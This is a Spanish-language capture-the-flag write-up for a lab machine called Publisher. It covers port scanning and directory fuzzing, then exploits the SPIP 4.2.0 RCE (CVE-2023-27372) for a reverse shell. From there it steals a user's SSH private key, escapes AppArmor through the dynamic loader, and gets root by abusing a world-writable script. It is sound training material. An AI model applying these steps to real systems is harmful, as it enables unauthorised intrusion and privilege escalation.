Skills

- Wfuzzing
- RCE CVE-2023-27372
- AppArmor (Escape de restriccion)

Reconocimiento

Para comenzar vamos a crear nuestros directorios con los que vamos a ir trabajando.

$ mkdir Publisher
$ cd Publisher
$ mkdir content nmap exploit

Vamos a comenzar realizando un escaneo de los puertos de la máquina víctima para conocer los servicios que están siendo expuestos.

$ sudo nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn 192.168.0.20 -oG allPorts

# Nmap 7.94SVN scan initiated Sun Aug 11 08:11:30 2024 as: nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn -oG allPorts
 192.168.0.20
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 192.168.0.20 ()   Status: Up
Host: 192.168.0.20 ()   Ports: 22/open/tcp//ssh///, 80/open/tcp//http///    Ignored State: closed (65533)
# Nmap done at Sun Aug 11 08:11:36 2024 -- 1 IP address (1 host up) scanned in 5.84 seconds

Yo lo exporto en formato grepeable porque tengo una función llamada extractPorts -> (link de la utilidad de extractPorts creada por s4vitar, instalar xclip)

$ extractPorts allPorts

[*] Extracting information...

    [*] IP Address: 192.168.0.20
    [*] Open ports: 22,80

[*] Ports copied to clipboard

Vamos a realizar un escaneo más extensivo, para saber que servicios y la versión que corren para esos puertos.

$ nmap -sCV -p22,80 192.168.0.20 -oN targeted

# Nmap 7.94SVN scan initiated Sun Aug 11 08:19:12 2024 as: nmap -sCV -p22,80 -oN targeted 192.168.0.20
Nmap scan report for 192.168.0.20
Host is up (0.0070s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Publisher's Pulse: SPIP Insights & Tips
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 11 08:19:19 2024 -- 1 IP address (1 host up) scanned in 7.04 seconds

Podemos observar el puerto '22' -> "ssh" y el puerto '80' que corresponde a un servicio web, vamos a lanzar un 'whatweb' por consola al servicio web para intentar ver un poco más de información útil.

$ whatweb 192.168.0.20

http://192.168.0.20 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[192.168.0.20], Title[Publisher's Pulse: SPIP Insights & Tips]

No nos reporta gran cosa, vamos a mirar como se ve el servicio web.

Vemos una página, donde parece que se comparten artículos, tutoriales, opiniones, etc. Sobre SPIP, investigando nos encontramos que SPIP: Es un software libre de origen francés tipo sistema de gestión de contenidos destinado a la producción de sitios web, orientado a revistas colaborativas en línea e inspirado en los roles de una redacción.

También observamos varias secciones, pero no nos llevan a ningún lugar, también observamos un usuario 'admin' que publico algo un posible usuario para tenerlo en cuenta.

Vamos a realizar fuzzing con wfuzz para ver si encontramos algún directorio que nos pueda resultar útil.

$ wfuzz -w /usr/share/ -c --hc=404 -t 50 http://192.168.0.20/FUZZ

Target: http://192.168.0.20/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                        
=====================================================================
000000004:   200        150 L    766 W      8686 Ch     "#"                                                            
000000014:   200        150 L    766 W      8686 Ch     "http://192.168.0.20/"                                         
000000016:   301        9 L      28 W       313 Ch      "images"                                                       
000008521:   301        9 L      28 W       311 Ch      "spip"                                                         
000045240:   200        150 L    766 W      8686 Ch     "http://192.168.0.20/"                                         
000095524:   403        9 L      28 W       277 Ch      "server-status"                                                
000117772:   404        9 L      31 W       274 Ch      "Class-Entity"

Vemos un 'server-status' y un 'spip', vamos a revisar ambos para qué nos devuelve la web

Por parte del 'server-status', parece que necesitamos credenciales porque nos sale un 'forbiden' pero el 'spip' ya nos muestra una algo diferente.

Investigando, me encuentro que estamos en contra de la versión Spip 4.2.0, la cual parece tener un Remote Code Execution (RCE) en el panel login cuando le damos a recuperar contraseña.

Utilizamos cualquier correo, eso no es relevante. Vamos a interceptar esta petición con Burpsuite para hacer algunas pruebas.

Lo enviamos al repetear para ver las respuestas del lado del servidor.

El problema viene con ese campo 'oubli', el cual no está muy bien sanitizado, podemos ejecutar comandos de forma remota.

Como pueden observar el payload es una revershell en php, si quieren más información de porque se acontece este RCE. Les recomiendo buscar el CVE de esta vulnerabilidad CVE-2023-27372.

Por otro lado, antes de enviar la petición, nos ponemos en escucha con "nc" por el puerto 443 y esperamos nuestra revershell.

$ sudo nc -nlvp 443
listening on [any] 443 ...

connect to [192.168.0.11] from (UNKNOWN) [192.168.0.20] 56842
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@41c976e507f8:/home/think/spip/spip$ whoami
www-data
www-data@41c976e507f8:/home/think/spip/spip$

Y ganamos acceso a la máquina, ahora vamos a realizar un tratamiento de la tty para poder operar de forma más cómoda.

$ script /dev/null -c bash
ctl + z
$ stty raw -echo; fg
reset xterm
$ www-data@41c976e507f8:/home/think/spip/spip$ export TERM=xterm
$ www-data@41c976e507f8:/home/think/spip/spip$ export SHELL=bash

Con esto ya podremos hacer ctrl + c, ctrl + l. Sin ningún inconveniente.

Escalada de Privilegios

Bien, en este punto estamos como www-data y vamos a tener que escalar para llegar a ser root.

Si regresamos algúnos directorios vemos la flag, en la carpeta think

$ www-data@41c976e507f8:/home/think/spip/spip$ cd ../..
$ www-data@41c976e507f8:/home/think$ ls
spip
user.txt
$ www-data@41c976e507f8:/home/think$ cat user.txt
fa229046d44eda6a3598c73ad96f4ca5  
www-data@41c976e507f8:/home/think$

Si realizamos un cat del /etc/passwd y filtramos por los que tienen una bash en el sistema, nos encontramos que think es un usuario.

$ www-data@41c976e507f8:/home/think$ cat /etc/passwd | grep "sh$" 
root:x:0:0:root:/root:/bin/bash
think:x:1000:1000::/home/think:/bin/sh
$ www-data@41c976e507f8:/home/think$

Si observamos, nosotros podemos ver el directorio personal de think. Por tanto, podríamos intentar ver su id_rsa para poder conectarnos por ssh por el puerto 22.

$ www-data@41c976e507f8:/home/think$ ls -la

total 48
drwxr-xr-x 8 think    think    4096 Feb 10  2024 .
drwxr-xr-x 1 root     root     4096 Dec  7  2023 ..
lrwxrwxrwx 1 root     root        9 Jun 21  2023 .bash_history -> /dev/null
-rw-r--r-- 1 think    think     220 Nov 14  2023 .bash_logout
-rw-r--r-- 1 think    think    3771 Nov 14  2023 .bashrc
drwx------ 2 think    think    4096 Nov 14  2023 .cache
drwx------ 3 think    think    4096 Dec  8  2023 .config
drwx------ 3 think    think    4096 Feb 10  2024 .gnupg
drwxrwxr-x 3 think    think    4096 Jan 10  2024 .local
-rw-r--r-- 1 think    think     807 Nov 14  2023 .profile
lrwxrwxrwx 1 think    think       9 Feb 10  2024 .python_history -> /dev/null
drwxr-xr-x 2 think    think    4096 Jan 10  2024 .ssh
lrwxrwxrwx 1 think    think       9 Feb 10  2024 .viminfo -> /dev/null
drwxr-x--- 5 www-data www-data 4096 Dec 20  2023 spip
-rw-r--r-- 1 root     root       35 Feb 10  2024 user.txt

Y efectivamente, parece que tenemos permisos para poder entrar al directorio ".ssh" donde se almacena las pares de claves.

$ www-data@41c976e507f8:/home/think$ cd .ssh
$ www-data@41c976e507f8:/home/think$ ls

authorized_keys
id_rsa
id_rsa.pub

$ www-data@41c976e507f8:/home/think$ cat id_rsa

Y ahí tenemos el id_rsa del usuario think, vamos a crearlo en nuestro sistema e intentar conectarnos por ssh.

$ home/dh89/Desktop/hackmyvm/Publisher/content$ touch id_rsa
(pegamos el contenido del id_rsa en ese archivo creado)
$ home/dh89/Desktop/hackmyvm/Publisher/content$ chmod 600 id_rsa
$ home/dh89/Desktop/hackmyvm/Publisher/content$ ssh think@192.168.0.20 -i id_rsa
think@publisher:~$ whoami
think
think@publisher:~$

Y logramos migrar al usuario think, ahora nos toca convertirnos en el usuario root.

Enumerando el sistema me encuentro con un binario que tiene el permiso suid en "/usr/sbin".

think@publisher:/usr/sbin$ ls -la run_container 
-rwsr-sr-x 1 root root 16760 Nov 14  2023 run_container

Investigando me encuentro que tira de otro archivo ubicado en '/opt'.

think@publisher:/usr/sbin$ ls -la /opt/run_container.sh
-rwxrwxrwx 1 root root 1715 Aug 13 19:34 /opt/run_container.sh

Ejecutándolo nos muestra lo siguiente.

think@publisher:/usr/sbin$ /opt/run_container.sh
Enter the ID of the container or leave blank to create a new one: (le doy enter)
OPTIONS:
1) Start Container
2) Stop Container
3) Restart Container
4) Create Container
5) Quit
Choose an action for a container:

Pero veo que no tenemos los permisos, que deberíamos.

Investigando enumerando la máquina me encuentro que frente a un programa que nos restringe las funcionas a algunos programas AppArmor -> (link más info)

Para revisar si está activo tenemos una ruta en el sistema.

$ think@publisher:/usr/sbin$ cat /sys/module/apparmor/parameters/enabled
Y

Nos devuelve un "Y" por tanto, parece que está activo, si hacemos un echo de $SHELL nos muestra que estamos en una bash. Más no así si lo hacemos desde un echo $0.

$ think@publisher:/usr/sbin$ echo $SHELL
bash
$ think@publisher:/usr/sbin$ echo $0
-ash

Por tanto, eso me hace pensar que estamos restringidos, podemos intentar ejecutarnos una "/bin/bash" de formas alternativas para ver si funciona.

Probando me encontré que ejecutándolo a través de sus librerías podemos escapar del programa.

$ think@publisher:/usr/sbin$ /lib64/ld-linux-x86-64.so.2 /bin/bash
$ think@publisher:/usr/sbin$ echo $0
/bin/bash

En este punto, analizando nuevamente las posibilidades. Me encontré que ya podía editar el archivo "/opt/run_container.sh" que antes no podía y como el programa "/usr/sbin/run_container" apunta a ese archivo, solo hay que agregar la línea "chmod u+s /bin/bash" al "run_container.sh" y ejecutar el "run_container".

$ think@publisher:/usr/sbin$ echo "chmod u+s /bin/bash" >> /opt/run_container.sh
$ think@publisher:/usr/sbin$ think@publisher:/usr/sbin$ run_container

List of Docker containers:
ID: 41c976e507f8 | Name: jovial_hertz | Status: Up 6 hours

Enter the ID of the container or leave blank to create a new one: (simplemente le di enter)
/opt/run_container.sh: line 16: validate_container_id: command not found

OPTIONS:
1) Start Container
2) Stop Container
3) Restart Container
4) Create Container
5) Quit
Choose an action for a container: 5
Exiting...

$ think@publisher:/usr/sbin$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
$ think@publisher:/usr/sbin$ bash -p
$ bash-5.0# whoami
root
$ bash-5.0#

Y así logramos convertirnos en el usuario root.

Conclusiones

Máquina bastante interesante, donde explotamos un spip para poder inyectar un comando y luego salir de un contexto restringido de la aplicación AppArmor. Ya saben cualquier consulta o duda, pueden contactarme o utilizar la sesión de comentarios.

Publisher-Writeup

Table of contents

Skills

Reconocimiento

Escalada de Privilegios

Conclusiones

Subscribe to my newsletter

Dh89

Dh89